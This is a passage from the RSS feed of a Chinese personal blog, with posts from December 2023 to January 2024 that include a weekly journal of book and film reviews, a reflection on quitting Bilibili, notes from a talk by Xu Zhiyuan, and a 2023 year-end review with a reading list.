</content:encoded></item><item><title>周报24 24年的第一篇周报</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A524-24%E5%B9%B4%E7%9A%84%E7%AC%AC%E4%B8%80%E7%AF%87%E5%91%A8%E6%8A%A5/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A524-24%E5%B9%B4%E7%9A%84%E7%AC%AC%E4%B8%80%E7%AF%87%E5%91%A8%E6%8A%A5/</guid><pubDate>Mon, 15 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报24 24年的第一篇周报&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmeVdZNZLknAAcEcuBWUPfH5ZU2K9BAXhFk1A4ezWPtRk3.png&quot; alt=&quot;24&quot; /&gt;&lt;/p&gt;
&lt;p&gt;午后的阳光跳进窗玻璃，跳到我的键盘上，蜗居的小房间里仿佛又多了点生机&lt;/p&gt;
&lt;p&gt;每到一周快要结束的时候，我都会头疼又要写周报了，指工作周报和博客周报，其中一个是真头疼，另一个是可能是假头疼吧&lt;/p&gt;
&lt;p&gt;但每每搜肠刮肚，也还能想到些什么，再经过几番互联网式的总结和加工，最后凝结为几行简短，一目了然的句子，以此总结自己本周的工作&lt;/p&gt;
&lt;p&gt;那生活呢？普通打工人的生活，除了上下班还能有哪些出彩值得记录的地方呢，我扪心自问&lt;/p&gt;
&lt;p&gt;但谁又不是如此呢，除了有明确目标的工作，我们都不太清楚要总结什么&lt;/p&gt;
&lt;p&gt;想到这里你就明白了，为什么历史人物的传记的那么单调了—— 全是官职的调动，再难看到司马迁笔下诸如霸王别姬，自刎乌江前的豪壮场面了&lt;/p&gt;
&lt;p&gt;但我还是看到一些，这些细节，构成了我眼中的世界
我看到，坐在女朋友小电驴后座的男生一只手扛着东西，另一只手紧搂着她
我看到，辛苦爬楼送完外卖的的小哥，下楼的时候开心地刷着短视频
我看到，买炒粉的路边摊阿姨，帮我打包后还送我一个小橘子&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你是你接触过的人，碰到过的物，感受过的情爱，迷失过的痛苦，家乡的老树，街边的路灯，吃过的烧烤摊……等等所有的体验，才有此刻的你。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我固然经历不到那些所谓“后浪”的生活，我也需要在逛街的时候有一个共享充电宝应急（而不是可以直接去车上充电🐶），我讨厌冷冰冰毫无人性的道理，比如如下语出《内瓦尔宝典》：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你将在一个城市生活十年，一份工作干上五年，或者跟一个人相伴十年，你就应该先花一到两年的时间认真思考再做决定。这些都是非常重大的决定，是人生的三大关键决定。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我是这么点评的：&lt;/p&gt;
&lt;p&gt;经济学家似乎都喜欢鲁滨逊漂流记，但鲁滨逊有得选吗，他只能走一步看一步，慢慢经营，虽然他没法选择流亡的岛屿，但是他可以选择定居点，选择工具，选择规划。人也是一样，我不觉得最开始就要困住自己，没有决定选出哪个城市就踟蹰不前，哪怕你选错了城市，你还可以选择定居的地点，选择不同的社区，是这一系列的抉择，而不是所谓孤注一掷重大的某个抉择。否则，就会像猫头鹰搬家一样，始终无所适从&lt;/p&gt;
&lt;p&gt;按惯例是要总结提升一下，比如来一句凝练的话语，引人深思（我以前可能也是这么做的），但我还是不想，我只是想把这些无关紧要的话语记录下来供诸君取乐下&lt;/p&gt;
&lt;p&gt;是为本周报序&lt;/p&gt;
&lt;p&gt;📚《悉达多》《内瓦尔宝典》《两汉风云》《弹性生长》&lt;/p&gt;
&lt;p&gt;我向来对这种书是不太感冒的，这种书一般有如下特点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;必须是国外的，这样才有格调&lt;/li&gt;
&lt;li&gt;书名一般是一些直接音译的名字，显得很高大上&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;当然，类似宝典这种书，我是非常排斥的，但这周态度转变了下，我觉得还是有必要抱着一种看烂片的心态去阅读的&lt;/p&gt;
&lt;p&gt;首先花了一个多小时很快就把《悉达多》看完了，文字翻译的很美，有音律感&lt;/p&gt;
&lt;p&gt;但书的内容属于你看了开头就知道结尾的，而且作为自小被中国传统文化熏陶的我们，对于所谓&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;得意时信儒，失意时信道，绝望时信佛&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;是一点也不陌生的，而悉达多所做的，所经历的就是这一切&lt;/p&gt;
&lt;p&gt;看完后我第一个想到的还是蒋捷的听雨，短短的十几个字，已经把《悉达多》的内容全部概括了&lt;/p&gt;
&lt;p&gt;而《内瓦尔宝典》这本书，正如我在序言里提到的，我反正是一边看一遍骂的，属于正确的废话了，随便摘录几条吧&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;不要跟愤世嫉俗和消极悲观的人合作。他们的预言会自我实现。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我：so，知道了这条又有什么意义呢？ 我能选择和什么样的人合作吗哈哈&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;有时候，即使你自己不觉得那是一门技能，身边的人也会留意到。你的母亲或者你成长过程中最好的朋友会知道你有什么特别之处。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我：但现实就是，很少有人能在某些方面特别擅长。我们在学校阶段所展现出的特长，无非是经过了大量练习，或者是依靠一些记忆力，再或者是花了点时间而已。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;要积累和发展专长，就要发挥自己的天赋，研究自己真正好奇的东西，追寻自己的热情所在，而不是选择一个当下的热门专业，然后在毕业后进入投资者宣称的热门行业。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我：道理我都懂，那你可以告诉我怎么做吗&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我想说的是，你应该在经过深思熟虑后，清醒地认识到自己需要从大多数事情（人际关系、工作、学习）中找到可以尽全力去付出的那部分，以充分获取复利效应。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我：所以怎么深思熟虑呢？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;普通人把时间浪费在短期思考上，浪费在毫无价值的繁重工作上。而巴菲特会用一年斟酌判断，然后用一天采取行动。他一天的行动可以影响未来几十年&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我：你这么做一次试试，看你老板不把你开了&lt;/p&gt;
&lt;p&gt;（不说了，我继续去骂了🐶&lt;/p&gt;
&lt;p&gt;渤海小吏的《两汉风云》也在微信读书上上架了，23年基本都是看他的历史类视频，也补充了一堆以前没有接触过的历史知识，再去重读一遍纸质书，还是看的很爽，真的，感觉多读一点历史要比整天看那些给建议的毒鸡汤好多了&lt;/p&gt;
&lt;p&gt;下周估计会集中精力研读一下《南北战争三百年》&lt;/p&gt;
&lt;p&gt;🎬《年会不能停》&amp;amp; 📺《单身即地狱》&lt;/p&gt;
&lt;p&gt;这是一部很好的片子，但豆瓣评分不过，依照豆瓣那些评论家一贯的尿性，估计会说：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;虽然很好，但也只是在国产电影日常的框架中做了一些微不足道的创新吧&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也不是没道理，毕竟看下来，结尾还是有些刻意去营造一个很好的结局呈现出来&lt;/p&gt;
&lt;p&gt;除去那些影评频道都会说的，电影有几个镜头让我觉得很感动&lt;/p&gt;
&lt;p&gt;第一个是三个人在天台的那场戏，杰克马的那一番话和转变，其实我并没有太理解，尽管转变可能有点突兀，但我总觉得导演在里面埋了一点东西，估计要看第二遍才能理解了&lt;/p&gt;
&lt;p&gt;远在天边的，三百个职工的饭碗，与当下自己的妻儿老小，哪个更重要？这无疑又是一个电车悖论。但所幸，权利的斗争还是给人一点希望&lt;/p&gt;
&lt;p&gt;这就是第二个点了，我最想说的这个人，徐总，因为都姓徐，让我想起了另一个人——徐阶&lt;/p&gt;
&lt;p&gt;他属于典型的，士大夫笔下的反面案例。他不缺钱，但是他有点理想主义（这也是剧中的女一挂在嘴边的），他想通过快刀斩乱麻的方式，让公司拥抱互联网，快速斩断掉与旧时代的关系。我不由得想象，如果他成功了，在他主导的叙事视角中，这又是怎样一番景象&lt;/p&gt;
&lt;p&gt;想千年前，徐阶斗倒了严嵩，在史官的笔下，严嵩就是一个十恶不赦的坏蛋，可要是徐阶没有斗倒呢？&lt;/p&gt;
&lt;p&gt;我们总是容易被历史的叙事视角给影响的，电影之所以是电影，就在于它的结局大多是一个向上的（当然是指国产的），而现实则很难&lt;/p&gt;
&lt;p&gt;不说这些历史了，不妨看看恋爱综艺养养眼🤣，献上一张修罗场的图，堪比《最后的晚餐》&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmeAeE5Gg64jhvogYKk63Yr19L1r9wsjQ8XhByfcPRQ7pc.jpeg&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;诸君自己解读吧哈哈哈哈（纯爱战士应声倒地啊&lt;/p&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦，&lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://readingstrength.com/heptabase-raycast-template/&quot;&gt; Heptabase 最完整模板中文教學及配合 Raycast 使用模板的方法 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.woshipm.com/data-analysis/5975665.html&quot;&gt; 如何写好年终总结？V4.0 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lutaonan.com/blog/2023-summary/&quot;&gt; 2023 年终总结: 和自己对话 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.ursb.me/posts/summary-2023/&quot;&gt; 2023，逃离仿徨 &lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>我不太想看B站了</title><link>https://rayepeng.net/posts/%E6%88%91%E4%B8%8D%E5%A4%AA%E6%83%B3%E7%9C%8Bb%E7%AB%99%E4%BA%86/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%88%91%E4%B8%8D%E5%A4%AA%E6%83%B3%E7%9C%8Bb%E7%AB%99%E4%BA%86/</guid><pubDate>Mon, 15 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;我不太想看B站了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmZTyw3JZVphw5yKTHk1R8en7WvsdB9cW3ywQuZ343Ub6p.png&quot; alt=&quot;bilibili&quot; /&gt;&lt;/p&gt;
&lt;p&gt;本篇为日常记录的一些丧话，只代表那一刻我的观点，与现在的我无关🐶&lt;/p&gt;
&lt;p&gt;停止了一段时间刷B站，感觉生活突然变得更有节奏了，也有更多的时间去看自己喜欢的内容了&lt;/p&gt;
&lt;p&gt;看来逃避推荐真的是一件很有用的事情&lt;/p&gt;
&lt;p&gt;昨天打开B站，首页又给我推荐影视飓风的视频，我往下划拉，大狸子、lks等等，这些我之前经常看的up视频又更新了&lt;/p&gt;
&lt;p&gt;那然后呢？其实我也并不关注最新的ps5，lks最近整的新活似乎也没有太吸引我，影视飓风开始科普视频帧率了，这些知识于我又有什么帮助呢？&lt;/p&gt;
&lt;p&gt;要是放在以前，这些视频必定是绝佳的放松、休闲、下饭的素材了&lt;/p&gt;
&lt;p&gt;但是现在，我更愿意去选择我自己想看的内容，汪曾祺的《人间草木》我还没有看完，《六个说谎的大学生》重读了一遍，《山月记》在书架还一直没看呢。Duo又开始催我记单词了，这些是不是更有价值呢？&lt;/p&gt;
&lt;p&gt;又想起了B站当年的青年节宣传片《后浪》，为什么会被人讨厌，因为它只描绘了一种生活方式，只倡导一种生活方式，可真实荧幕下的生活远不止如此，这里既有胆战心惊，时刻躲避城管的小摊贩，也有总结出每个路口红绿灯规律的外卖小哥，以及一个个奔波在路上的你我&lt;/p&gt;
&lt;p&gt;我觉得他们都应该被看见，我开始厌恶B站上这些聚光灯下的，和我同龄的up主们&lt;/p&gt;
&lt;p&gt;的确，大狸子的创业故事很感人，影视飓风的Tim人也很好。放在现实生活中，绝对是我很想去交往的朋友&lt;/p&gt;
&lt;p&gt;他们并没有做什么错事，只是单纯因为出现的次数太多了，似乎每一个人都想要来分担走我的注意力，去霸占我，去给我灌输知识，去&lt;strong&gt;创造知识&lt;/strong&gt;来给我科普&lt;/p&gt;
&lt;p&gt;或许我并不需要这些，我也有自己的选择，我也需要学习，生活和记录&lt;/p&gt;
&lt;p&gt;所以我还是更喜欢博客这种方式，这种随性表达的更新方式。看与不看，选择权都在读者的手中。&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>那就多愁善感地去做呗</title><link>https://rayepeng.net/posts/%E9%82%A3%E5%B0%B1%E5%A4%9A%E6%84%81%E5%96%84%E6%84%9F%E5%9C%B0%E5%8E%BB%E5%81%9A%E5%91%97/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E9%82%A3%E5%B0%B1%E5%A4%9A%E6%84%81%E5%96%84%E6%84%9F%E5%9C%B0%E5%8E%BB%E5%81%9A%E5%91%97/</guid><pubDate>Mon, 08 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;那就多愁善感地去做呗&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmR2WL7aSEBM8RTZUMuUV8ga3Nh9xoeYs4oLEjgScEWTaP.png&quot; alt=&quot;xuzhiyuan2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;哗哗的水浪接触地面溅起水花的时候，我正骑单车经过这个路口，深圳下午的太阳略显乏力，当我还在疑心走哪条小道时，却早已有数不清的外卖小哥的电瓶车呼啸驶过&lt;/p&gt;
&lt;p&gt;适应一座城市，就是熟悉它的脾气，熟悉每一条车道、人行道的分布。是在地铁到站后，不自觉的自动走向ABCDEF口中的一个；是在大雨漫灌，积水满街的时候，哪条路能避开最多的水坑，哪颗大树能给你最厚实的遮挡；是出门走了一大半路还没打开导航，开始疑心自己是不是走错了路。&lt;/p&gt;
&lt;p&gt;要是在深圳就好了，下午的太阳照在远处的大楼上的时候，我正在快步经过一处广场，偶然间听到某个熟悉的声音响起，不由得被吸引过来，忘记了自己原来要去向哪里，只是和当下的两位老师一起，讨论一百多年前，梁启超的海外流亡生涯，康有为的奢靡张狂生活，谭嗣同的为变法的流血牺牲。&lt;/p&gt;
&lt;p&gt;”你是怎么做到在文字间多愁善感，但是线下演讲，办书店的时候，又那么乐观地去做呢？“——底下的读者问&lt;/p&gt;
&lt;p&gt;“那就多愁善感地去做呗”——许知远抿了下嘴唇，如是答道&lt;/p&gt;
&lt;p&gt;”其实我们做任何一件事，都需要调动自己所有的资源，你看一吃一块蛋糕，你会不会回想起童年时的吃蛋糕的一些经历“&lt;/p&gt;
&lt;p&gt;”就那一小破蛋糕，你都要用到毕生全部的经验，来应对如此一件微小的事物“&lt;/p&gt;
&lt;p&gt;对许知远的了解，我并不是很深，可能仅限于《十三邀》这档节目吧，还有小锦鲤推荐过的《多谈谈问题》——入选了豆瓣的2023年读书榜单（关于榜单的问题可能会有一篇文章来谈谈）&lt;/p&gt;
&lt;p&gt;活动场地的布置我就挺喜欢的，很有感觉，是处在一个开放的空间中，不管是否买票，都可以听，区别只是是否有许老师的签名以及一个座位而已&lt;/p&gt;
&lt;p&gt;读书人的交流，就这么随意，公开，声音一旦发生，也不需要利用反射等高科技来营造某种氛围，自然地消散出去，弥漫到周围的空气就好了&lt;/p&gt;
&lt;p&gt;如同余秋雨笔下的《信客》，山野间，新老信客无边无际的漫谈，那些包含着人生智慧，乡野民情，生活百态的话语，就那样飘荡出去，静静的天空是见证者&lt;/p&gt;
&lt;p&gt;所以很羡慕那些经过，满脸写着诧异，继而沉浸，驻足倾听的路人们&lt;/p&gt;
&lt;p&gt;尽管第一眼看来，这个头发乱蓬蓬的人，似乎和普通人说话也没什么两样，也会有卡壳，也会说好几个“然后”，身体语言似乎也不够丰富&lt;/p&gt;
&lt;p&gt;但我们在乎吗？可能有的人在乎吧，现实的落差总是敌不过虚假的美好，需要调动精力的思考总是敌不过简单感官的愉悦&lt;/p&gt;
&lt;p&gt;许老师说了很多，我也记了很多&lt;/p&gt;
&lt;p&gt;我很喜欢这种，将自己经历、情感融入进来的分享，有点像语文阅读题里的“请联系实际作答”&lt;/p&gt;
&lt;p&gt;“那就多愁善感地去做呗”&lt;/p&gt;
&lt;p&gt;“我就很想知道，那些处在时代转变的个体，他们能做些啥，爆发出多大的生命力”&lt;/p&gt;
&lt;p&gt;“保持乐观是给他人看的”&lt;/p&gt;
&lt;p&gt;“我们会被自己所经历的，所恨的人，所爱的人，被自己的恐惧所塑造”&lt;/p&gt;
&lt;p&gt;“那是个勇敢的时代，一穷二白，没有什么可失去的”&lt;/p&gt;
&lt;p&gt;“做任何一件事，都要调动自己所有的资源”&lt;/p&gt;
&lt;p&gt;“那肯定啊，你写历史，肯定有自己的投射，谁也没有经历过历史上人物的生活，所以写历史很多时候是需要依赖自己的想象的”&lt;/p&gt;
&lt;p&gt;“你走在大街上，拿着一本书，多酷啊，这不是比你们都拿着手机要酷多了吗”&lt;/p&gt;
&lt;p&gt;“因为他们广州不来求我，我就没来这办书店”&lt;/p&gt;
&lt;p&gt;“年轻人要干很多荒唐事，不然到老了没法活”&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>广州 见到许知远啦</title><link>https://rayepeng.net/posts/%E5%B9%BF%E5%B7%9E-%E8%A7%81%E5%88%B0%E8%AE%B8%E7%9F%A5%E8%BF%9C%E5%95%A6/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%B9%BF%E5%B7%9E-%E8%A7%81%E5%88%B0%E8%AE%B8%E7%9F%A5%E8%BF%9C%E5%95%A6/</guid><pubDate>Sat, 06 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;广州 见到许知远啦&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmTTFLC87wK7QzqcbhUwcoJA2gzbSS87UGUa5icNu3TJkh.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>参加蓝信封的活动</title><link>https://rayepeng.net/posts/%E5%8F%82%E5%8A%A0%E8%93%9D%E4%BF%A1%E5%B0%81%E7%9A%84%E6%B4%BB%E5%8A%A8/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%8F%82%E5%8A%A0%E8%93%9D%E4%BF%A1%E5%B0%81%E7%9A%84%E6%B4%BB%E5%8A%A8/</guid><pubDate>Fri, 29 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;参加蓝信封的活动&lt;/p&gt;
&lt;p&gt;合计也写了6封信的样子啦&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmRGhgc5LhRetC75vbFcTch9kxhGEYNsgsJmJMXQ8ojx4W.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>我的2023年</title><link>https://rayepeng.net/posts/%E6%88%91%E7%9A%842023%E5%B9%B4/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%88%91%E7%9A%842023%E5%B9%B4/</guid><pubDate>Fri, 29 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;我的2023年&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmfFg3foNvtQTVKTXVY65hSTPv7J8TAKAFr9SMg3wtikGG.png&quot; alt=&quot;wode2023&quot; /&gt;&lt;/p&gt;
&lt;p&gt;匆匆忙忙的 2023 年也即将接近尾声了，在这一年中有过压力，有过失落，有过每个人都经历过的至暗时刻，有过独自登台的怅惘，也有过把栏杆拍遍的豪情
但不管怎样，总不会忘记记忆中的一些星星点点，正是这些关于挚友、关于阅读、关于旅行、关于失而复得喜悦，关于冥思苦想的明悟，关于上下求索的执迷，纵横交织，忽明忽暗，勾勒出每个人不同的风景线，描绘出独具一格的山光水色
初读到张晓风这一句的时候，只觉的浮躁的心灵瞬间被涤荡了，洗净了。盈盈一水间，莽莽深林处，被行程选择的赶路人，面对这湖光山色，还是值得贪恋几许的吧
我也曾在一篇写过的周报总结中中化用了这句：赶路人，何方走走停停呢？&lt;/p&gt;
&lt;p&gt;我感觉写个总结应该还挺有意义的，为什么想写这个话题呢，是看到了樹程Leslie写的这篇 &lt;a href=&quot;https://xlog.justgoidea.com/2023-063&quot;&gt; 2023 年值得持续阅读的内容平台 &lt;/a&gt;虽然不是年终总结，但从他这篇文章中也能收获很多，互联网上每个人都是一个小点点，我们想逃离中心化的大平台，博客的意义，就是这其中的一座座灯塔吧，照亮每一个逃离的旅行者。&lt;/p&gt;
&lt;p&gt;于是就拖到了现在，想着还是尽快把23年的总结发出来，其他还有想写的比如23年读过的书、追过的剧、阅读过的好文章就只能等24年我有时间再总结了（毕竟传统意义上过了春节才是新年对吧😀）&lt;/p&gt;
&lt;p&gt;22年给未来的自己的信
2022年12月28日11点19分，你在QQ邮箱写下了这封给自己的信。&lt;/p&gt;
&lt;p&gt;时隔一年，时光信使，如期而至。不论时间是否给了你想要的答案，希望你们能在此刻好好聊一聊。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmP2ed7uzj3Cbmo5ad8MC7ddaCm85W73ExkJvRx8BfDGAN.png&quot; alt=&quot;image 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;要不是临时拉了一个群提醒我们，我还真就差点忘掉这回事了，未来的我，过去的你，这个对话还挺有意思的&lt;/p&gt;
&lt;p&gt;原来那个时候你的id还叫prontosil，我想想，貌似大二时候定的，似乎是在上一门和生物技术相关的选修课，有个药物你肯定还记得，就叫做”百浪多息“，&lt;a href=&quot;https://zh.wikipedia.org/zh-hans/%E7%99%BE%E6%B5%AA%E5%A4%9A%E6%81%AF&quot;&gt;百浪多息 - 维基百科，自由的百科全书 &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;当时肯定太喜欢这个名字了，我现在也不太清楚这个名字的起源，不过估计是音译的&lt;/p&gt;
&lt;p&gt;但它就是好美啊，再势不可挡的海浪，也终将平息下来。即使经历千重的孤独。使人想起《超兽武装》的一句话，”当你经历过这七重孤独，就会成为真正的强者“&lt;/p&gt;
&lt;p&gt;《斑马》、《夜晚的潜水艇》果然都读完了，还主持了一次《夜晚的潜水艇》读书分享，超棒！&lt;/p&gt;
&lt;p&gt;最近一年，你的胡思乱想也着实挺多的，flomo、备忘录、heptabase、Notion、logseq、微信文件传输助手都记录下来了，不过还是有好多没有被记录下来的，最终飘散为风中的纸屑，再也找不到了吧&lt;/p&gt;
&lt;p&gt;”也许像一块滚石，颤抖着投入未知”，估计是你从哪里随手摘录的吧，搜了下果然，就是出自你当时在读的《斑马》&lt;/p&gt;
&lt;p&gt;卡牌游戏23年也玩了挺多，《杀戮尖塔》终于使用战士通关了一次，好难哈哈哈。以及23年最新出的肉鸽卡牌游戏阿斯特莱亚，看你买的那么积极，结果游戏时长恐怕俩小时都不到吧&lt;/p&gt;
&lt;p&gt;笔记迁移到了Notion，结果年底的时候又迁移到了heptabase，虽然这俩软件在写作体验上都很类似，但是heptabase的白板功能可能更适合你，没事只要写下去，折腾下工具又有啥&lt;/p&gt;
&lt;p&gt;23年，你果然探索了很多的未知，工作上的表现可能不是令人满意，有时候不要想太多，把分散的精力稍微集中一点，你想做的事情有很多，慢慢来就好了。&lt;/p&gt;
&lt;p&gt;新的一年，祝好，也许没有任何规划的你，依旧能遇到很多意想不到的惊喜&lt;/p&gt;
&lt;p&gt;23年总结&lt;/p&gt;
&lt;p&gt;自其变者而观之，则天地曾不能以一瞬&lt;/p&gt;
&lt;p&gt;但如果要说2023年有哪些变化，我第一反应是没有，还是往常一样的摸鱼，甚至于这个稿子的开篇都是我在工作摸鱼时候写的，感觉摸鱼对于写作效率的提升是有很大帮助的🤣&lt;/p&gt;
&lt;p&gt;以及：&lt;/p&gt;
&lt;p&gt;还是会在上班的路上把衣服穿反了，直到吃完早餐回到工位才意识到
还是会在某个深夜开始emo，然后睡不着觉，胡思乱想
还是会抵挡不住下班后小区门口摊位传来的阵阵飘香，在一顿饱餐后开始假装自责
32楼的保洁阿姨和叔叔也都没变，每天早上都要跟她/他打声招呼
工位还是一团糟，那本《习近平谈治国理政》借过来后一页都没翻过&lt;/p&gt;
&lt;p&gt;但真就这样么？我尝试在回忆的原野上捕捉一只只断线的风筝，偶尔还是能看到一些被风吹断线后，飘散在地上的零散纸片&lt;/p&gt;
&lt;p&gt;记住了小区快递柜的分布，知道哪些柜门弹出的幅度比较小，需要手去抠出来
记住了小区几栋楼的分布，这样外卖小哥问我的时候就能直接指出来了
喜欢上了坐公交车，不紧不慢的听歌，观察城市里的生活
开始听播客了，喜欢一边收拾自己居住的小天地，一边听着世界那头的嬉笑怒骂
通关了p5r，真，现实时间和游戏内同步，主角过了一年，我也玩了一年（XGP入库到退库刚好一年）
开始间歇性疯狂学习英语，半强迫自己直接阅读英文原文，看生肉&lt;/p&gt;
&lt;p&gt;茫然惊醒，原来23年就快过完了，我好像一直在虚度光阴，回过头来，晚霞依旧笼罩在这座城市&lt;/p&gt;
&lt;p&gt;23年我写的周报
细数下来，自己也写了有23篇周报了，其实离自己预定的计划还是差了很多的&lt;/p&gt;
&lt;p&gt;ps.这23篇周报，刚好和23年重叠，冥冥之中自有天意吧哈哈&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmXRFmwUkzJpC3FZvsnuR5fWheTHFdSFUUX9PrZ8WzS6AX.png&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;毕竟我当时计划着每周至少一篇技术文章加周报，按照这个频率更新的话，预估23年周报数量要达到30多篇的&lt;/p&gt;
&lt;p&gt;我也逐渐意识到，只有真正热爱生活，去挖掘，体会生活中的那些细节，写出来的文字自然而然就会有真情实感，不需要刻意去矫揉和装点&lt;/p&gt;
&lt;p&gt;大学时，有幸参加过张晓风老师的一次分享，熟悉我的朋友都知道我的周报中有多次引用张晓风的句子。那还是2018年了，搜了下网上还有相关的报道，&lt;a href=&quot;https://www.163.com/dy/article/ES5JVFST05418WB4.html&quot;&gt;阅读│晓风过处，至真至纯&lt;/a&gt;，而我当时很不凑巧的连通知都没看到，只能在图书馆外排着队伍，等着看有没有剩余的座位可以捡漏的&lt;/p&gt;
&lt;p&gt;印象中，晓风老师讲了很多，但是能让我记下来的却寥寥无几，只记得她最后提到一次吃橘子的经历，说她从来没有吃过那么好的橘子。我想，文学其实本身似乎与现在互联网上推崇的诸如干货等无关，它只是一种单纯的感觉，一种只存在于当下，弥散在那个小小空间的空气分子中&lt;/p&gt;
&lt;p&gt;可能你现在读的这篇文章，也并没有什么值得摘录并日后重温的东西，但我还是在想，也许我并不关注最新的ps5值不值得买，也不关注为什么有up决定停止制作25帧的视频，我的注意力可以停留在我这一瞬念中就够了。&lt;/p&gt;
&lt;p&gt;23年我阅读的书&lt;/p&gt;
&lt;p&gt;基本还是集中在历史类的书籍，但如果要说2023年我读过的书里最喜欢的一本，恐怕就是《斑马》吧&lt;/p&gt;
&lt;p&gt;一些读过的书&lt;/p&gt;
&lt;p&gt;历史类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《太白金星有点烦》&lt;/li&gt;
&lt;li&gt;《失败者的春秋》&lt;/li&gt;
&lt;li&gt;《大汉帝国在巴蜀》&lt;/li&gt;
&lt;li&gt;《魏晋风华：轻松读懂《世说新语》》&lt;/li&gt;
&lt;li&gt;《饥饿的盛世：乾隆时代的得与失》&lt;/li&gt;
&lt;li&gt;《弃长安》&lt;/li&gt;
&lt;li&gt;《历史的面孔》&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;悬疑类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《克莱因壶》&lt;/li&gt;
&lt;li&gt;《玻璃塔迷案》&lt;/li&gt;
&lt;li&gt;《六个说谎的大学生》&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;文学+历史类&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《大医》 破晓篇和日出篇&lt;/li&gt;
&lt;li&gt;《中国文化课》&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;社会类&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《筚路维艰：中国社会主义路径的五次选择》&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;心理类&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《被讨厌的勇气》&lt;/li&gt;
&lt;li&gt;《蛤蟆先生去看心理医生》&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为了时间关系（在2024年元旦之前发出来这篇文章），只能简单的做个罗列了，后面还打算再写一篇总结下这一年的阅读经历吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Qmbsv7xuFCNiP4XjcZM8hYA66hfB7XHPZAKch6HCUPtE37.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6078067589805882001-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmdXD3ViC1C52Nc35uQjLrGKR5q8mgkvzhRMLUzUDQGvfa.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6078067589805882006-y&quot; /&gt;&lt;/p&gt;
